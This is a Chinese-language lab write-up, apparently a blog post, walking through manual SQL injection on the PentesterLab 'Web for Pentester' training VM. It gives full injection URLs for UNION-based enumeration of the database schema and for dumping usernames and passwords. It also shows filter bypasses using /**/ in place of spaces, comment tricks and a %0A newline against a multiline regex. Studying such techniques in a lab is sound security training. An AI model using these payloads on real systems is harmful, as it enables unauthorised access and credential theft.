sql手工注入

环境 :

debian 6,web for pentest ,下载地址https://pentesterlab.com/exercises/web_for_pentester

目录

sql手工注入

example1

example2

example3

example4

example5

example6

example7


example1

(1)测试注入点 http://192.168.11.136/sqli/example1.php?name=root'

显示不报错,无输出

(2)加#号对后面的sql语句注释 http://192.168.11.136/sqli/example1.php?name=root'%23

显示root记录,可判断存在字符型注入

(3)判断可查询列数  http://192.168.11.136/sqli/example1.php?name=root' order by 3 %23

5列

(4)利用union select 1,2,3,4,5查询相关信息

查询数据库版本,数据库名

http://192.168.11.136/sqli/example1.php?name=root' union select @@version,database(),3,4,5 %23

利用information_schema的信息查找表名

http://192.168.11.136/sqli/example1.php?name=root' union select 1,TABLE_NAME,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=0x657865726369736573%23

其中0x657865726369736573为exercises的十六进制表示

查询表中的列

http://192.168.11.136/sqli/example1.php?name=root' union select 1,column_NAME,3,4,5 from information_schema.columns where TABLE_name=0x7573657273%23

查询数据

http://192.168.11.136/sqli/example1.php?name=root' union select name,age,passwd,4,5 from users %23

数据获取成功

example2

报错 ERROR NO SPACE,过滤了空格,可使用/**/代替

步骤同example1

example3

同2

example4

数字型注入,步骤与1大致相同

example5

同4

example6

url结尾必须为数字

通过注释解决 url#123

example7

检测更严格,匹配的只能是数字,但是由于加了/m参数,字符串的每一行的开头就是“^”结束就是“$”,只要有一行符合即可

可使用回车符\n(%0A)解决

http://192.168.11.136/sqli/example7.php?id=2%0A/**/union/**/select/**/name,passwd,3,4,5 from users

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值